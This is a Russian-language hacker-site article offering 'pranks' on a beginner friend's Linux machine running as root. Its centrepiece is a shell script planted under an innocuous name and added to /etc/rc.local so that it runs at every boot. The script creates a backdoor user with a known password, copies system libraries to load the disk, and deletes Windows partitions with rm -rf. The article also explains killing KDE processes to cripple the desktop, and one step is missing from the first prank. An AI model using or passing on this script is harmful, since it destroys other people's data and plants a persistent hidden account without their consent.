Источник: http://nix.h1.ru
Автор: SHuRuP
email: mailto:[email protected]?subject=nix
www:
http://nix.h1.ru/
icq: 76011665
В связи с очень быстрым развитием OS Linux ежеминутно респятся новые юзеры этой
замечательной операционной системы, следовательно шанс, что у тебя есть
друг-начинающий_nix_гуру возрастает до размеров последних ChangeLog'ов ядра
линукса в битах, умноженных на количество найденных переполнений буфера во
всевозможных приложениях для unix-like систем за последний месяц. Из всего этого
логично будет, если этот твой друг юзает X-Windows+KDE и, безусловно, сидит под
root'ом, а у тебя уже не однажды всплывала идея показать ему, где сисадмины
зимуют...
1) halting system
Требуется: KDE + root +
совсем немного времени.
Пока обладатель компа с загруженным пингвином
под root идет варить пельмени, жмем
P.S. Если при попытке перегрузиться в другой десктоп ничего
не получается, то кликай right-button'ом хвостатого по рабочему столу, далее
Configure Desktop -> Number of Desktops, устанаваливаем еще парочку
desktop'ов.
2) loading eleet scripts
Требуется:
console/x-window + root + достаточное количество времени.
Эта фишка
уже будет работать совсем не только в KDE... Ее идея: запугать неподготовленного
пользователя странными действиями сразу после загрузки linux'а. Загружаем
текстовый редактор и создаем файл /usr/bin/int (или что-нибудь похожее, его
название не должно вызывать никаких подозрений), то есть, например, в консоли -
emacs /usr/bin/int или vi /usr/bin/int , а в иксах - gedit /usr/bin/int или
kwrite /usr/bin/int. В этот файл записываем примерно
следующее:
#!/bin/sh
#первый скрипт, загрузка проца и создание
объемного файла с результатами поиска по шаблону *.* в /main01
echo "* eleet
script 01 coded by SHuRuP *" >/main01 && echo "trying to find *.*"
>>/main01 && find / *.* -print 1>>/main01 2>/dev/null
&
#второй скрипт, загрузка процессора и харда путем копирования
различных библиотек
#создание юзера eleetuser с пароем 31337, создание логов
в /main02
echo "* eleet script 02 coded by SHuRuP *" >/main02 &&
echo "trying to create user" >>/main02 && adduser -d /home/eleet
-p 31337 eleetuser && echo "eleetuser has been successfully created"
>>/main02 &
mkdir /home/eleer/lib 2>/dev/null && echo
"/home/eleet/lib has been successfully created" >>/main02 && cp -R
/lib /home/eleet/lib 2>/dev/null && echo "libs from /lib has been
successfully copied" >>/main02 &
mkdir /home/eleet/lib2
2>/dev/null && echo "/home/eleet/lib2 has been successfully created"
>>/main02 && cp -R /usr/lib /home/eleet/lib2 2>/dev/null
&& echo "libs from /usr/lib has been successfully copied"
>>/main02 &
#третий скрипт, попытка монтирования cd-rom'а и
дискеты, логирование в /main03
echo "* eleet script 03 coded by SHuRuP *"
>/main03 && echo "trying to mount devices" >>/main03
&
mount /mnt/cdrom 2>/dev/null &
mount /mnt/floppy
2>/dev/null &
#четвертый скрипт, попытка удалить возможные
каталоги с windows, логирование в /main04
echo "* eleet script 04 coded by
SHuRuP *" >/main04 && echo "trying to remove windows" >>/main04
&
rm -rf /mnt/win 2>/dev/null &
rm -rf /mnt/windows
2>/dev/null &
rm -rf /mnt/win_c 2>/dev/null &
rm -rf
/mnt/win_d 2>/dev/null &
#мессага, оповещающая об успешной
загрузке скрипта (исключительно для устрашения ;)
echo "* eleet scripts
v0.01pre-beta coded by SHuRuP loaded successfully! *"
После
сохранения такого файла надо поставить права на возможность его выполнения:
chmod +x /usr/bin/int
Теперь остается немного подредактировать
/etc/rc.local, чтобы наше творчество выполнялось при каждой загрузке любимого
пингвина. Для этого достаточно написать в терминале:
echo "/usr/bin/int"
>>/etc/rc.local
Все! Отныне со следующим и последующими
запусками пингвина каждый будут создаваться файлы с логами, начинать трещать
хард, немного подгружаться процессор, монтироваться дискета и одноглазый,
удаляться windows! ;)
P.S. Этот скрипт не будет в идеале выполняться для
разных машин, так как у каждого могут быть свои директории монтирования виндов,
сидюка и флоппи, да и вообще всего предусмотреть невозможно, но по умолчанию
обычно linux'ы настроены именно так, и прикол рассчитан как раз на такой случай.
Но если известно, куда и что примонтировано (для этого достаточно выполнить
команду: cat /etc/fstab), то, лишь немного подправив скрипт, можно смело идти в
бой!
3) x-hell
Требуется: KDE + полминуты.
Наверное, тебе известно, что X-Window построен на процессах, а любой процесс
может быть убит => по теореме SHuRuP'а получаем, что можно убить часть
процессов иксов в результате чего работа в них превратится в настоящий ад, что и
требовалось доказать (читай "чего мы и добиваемся"). Дождавшись удачного
момента, не раздумывая, пишем "ps -x", после этого начинаем пристально
раглядывать, что нам ответили - где-то будет что-нибудь вроде такого:
xxx
? S 0:00 kdeinit: klauncher
xxx ? S 0:00 kdeinit: kded
xxx ? S 0:00
kdeinit: kxkb
xxx ? S 0:00 kdeinit: kxmlrpcd
xxx ? S 0:00 kdeinit:
Running...
xxx ? S 0:00 kdeinit: kwin
xxx ? S 0:00 kdeinit:
kdesktop
...etc...
Тааак... кто этому сомнительному kdeinit разрешал
забивать наш процессор и оперативную память какой-то фигней?? ;) Именно этой
фигней мы и займемся, ибо у нас и так каждый бит на счету! А осталось нам только
поубивать все то, что завоевало наименьший респект в наших сердцах. Смерть
процесса наступает во время близкого контакта с командой kill -9 pid (или kill
-KILL pid, где pid - идентификатор этого процесса). Теперь о результатах падений
некоторых особей kdeinit'а:
dcopserver - погибает всё кроме окон, которые
были открыты (полезно заметить, что
kwin - пропадают "оболочки" всех окон так, что нельзя закрыть ни одну
такую программу ни с помощью мышки (панелька с крестиком успешно укатывается в
/dev/null), ни с помощью клавы (Alt+F4 также уезжает на каникулы);
kdesktop -
успешно умирают все иконки рабочего стола;
kicker - исчезает нижняя панель с
меню Kde а-ля "Пуск" (остается только KDE Keyboard Tool и Klipper, если они
вообще там когда-либо жили, для их уничтожения припасен процесс kxkb, после
падения которого также перестает меняться раскладка клавиатуры);
klipper -
смерть Klipper'а;
kwrited - отлично подойдет для прикола #1, так как теперь
после вызова shutdown'а не появится никакого сомнительного окошка с broadcast
message'ом, и, соответственно, теперь не прокатит КДЕшная версия команды
write.